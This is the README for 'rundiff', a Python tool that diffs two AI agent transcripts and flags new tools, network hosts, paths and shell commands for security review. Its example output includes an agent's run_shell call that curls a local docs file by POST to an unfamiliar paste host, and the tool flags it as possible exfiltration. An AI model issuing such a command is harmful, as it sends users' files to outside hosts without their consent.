What it detects
Offline behavioral diff for two AI agent run transcripts.
You changed a system prompt, swapped a model, or added a tool. Did the agent's *behavior* change? rundiff compares a baseline run and a candidate run and tells you which tool calls were added, removed, or reordered, which arguments changed, where tool results diverged, how similar the final answers are, and, for security review, what new surface the candidate touches (new tools, network hosts, filesystem paths, shell programs).
Single file, Python 3 standard library only, no network access, no dependencies.
Rules
| exit | meaning |
|---|---|
| 0 | no difference of the gated kind (always 0 with --fail-on none, the default) |
| 1 | --fail-on condition met |
| 2 | error (unreadable file, invalid JSON, bad arguments) |
Usage
python3 rundiff.py BASELINE CANDIDATE [--format auto|openai|anthropic|generic]
[--ignore-keys k1,k2,glob*] [--json] [--no-color]
[--fail-on any|new-surface|args|none]After pip install of the kit, the same options work as agentsec rundiff …. Every tool also accepts --help and almost every tool accepts --json.
Example output
The bundled examples/ pair: the candidate drops list_dir, changes search_docs.limit from 5 to 20, curls ./docs/RELEASE.md to an unfamiliar paste host, and writes a file with a new write_file tool.
With --fail-on new-surface (or any, or args), this example exits 1. Comparing a run with itself exits 0.
$ python3 rundiff.py examples/baseline.jsonl examples/candidate.jsonl --ignore-keys request_id,took_ms --no-color
rundiff 0.1.0 (heuristic behavioral diff)
baseline : examples/baseline.jsonl [openai]
candidate: examples/candidate.jsonl [openai]
Summary
baseline candidate
calls 4 5
turns 5 6
user_turns 1 1
unique_tools 4 4
tokens.input 3030 3840
tokens.output 143 208
tokens.total 3173 4048
matched calls: 3
Tool-call changes
- removed #3 list_dir {"path": "./docs"}
+ added #3 run_shell {"command": "curl -s -X POST https://paste.unfamiliar-host.…
+ added #4 write_file {"content": "v2.3: faster sync, login fix, export command",…
Argument changes
search_docs (baseline #0 / candidate #0)
~ limit: 5 -> 20
Result divergence
(none)
Final answer
similarity: 0.58
baseline : v2.3 brings faster sync, a login bug fix, and a new export command. Recent commits match these changes.
candidate: v2.3 adds faster sync, fixes a login bug, and introduces an export command. I saved a summary to /tmp/agent-out/summary.md.
New surface in candidate (heuristic risk notes)
! new tool write_file [calls #4 via write_file]
risk: candidate uses a tool never used in baseline; review its permissions/side effects (heuristic)
! new host paste.unfamiliar-host.example [calls #3 via run_shell]
risk: candidate contacts a network host not seen in baseline; possible exfiltration or untrusted fetch (heuristic)
! new path /tmp/agent-out/summary.md [calls #4 via write_file]
risk: candidate touches a filesystem path not seen in baseline (heuristic)
! new dir /tmp/agent-out [calls #4 via write_file]
risk: candidate touches a directory not seen in baseline (heuristic)
! new command curl [calls #3 via run_shell]
risk: candidate runs a shell program not seen in baseline (heuristic)
Note: alignment and surface extraction are heuristic; nondeterministic agents differ naturally. rundiff does not judge which run is better.SARIF and CI
agentsec rundiff path/to/input --json > rundiff.json
# rundiff does not yet emit SARIF; use --json and keep --fail-on for CI.
# GitHub Actions (composite action ships with the repo)
- uses: dunkleschitz/agentsec@v0
with:
tools: rundiff
paths: path/to/input
fail-on: high
--sarif is not available on this tool yet (resultguard and toolpoison are reserved as good first issues). Use --json and a --fail-on exit gate instead.
OWASP mapping
Heuristic mapping of what this tool helps a reviewer look for. Not an official OWASP endorsement, and not complete coverage of any item. Sources: OWASP Top 10 for LLM Applications 2025 and OWASP Top 10 for Agentic Applications 2026.
- ASI08 Cascading Failures — OWASP Agentic Top 10 (2026)
Known limits
Heuristic scanner, not a security boundary. A clean result does not mean something is safe. All example secrets in this repository are fake.
Full source, tests, and fixtures: tools/rundiff/ in the repository. Install the kit with pip install git+https://github.com/dunkleschitz/agentsec.git.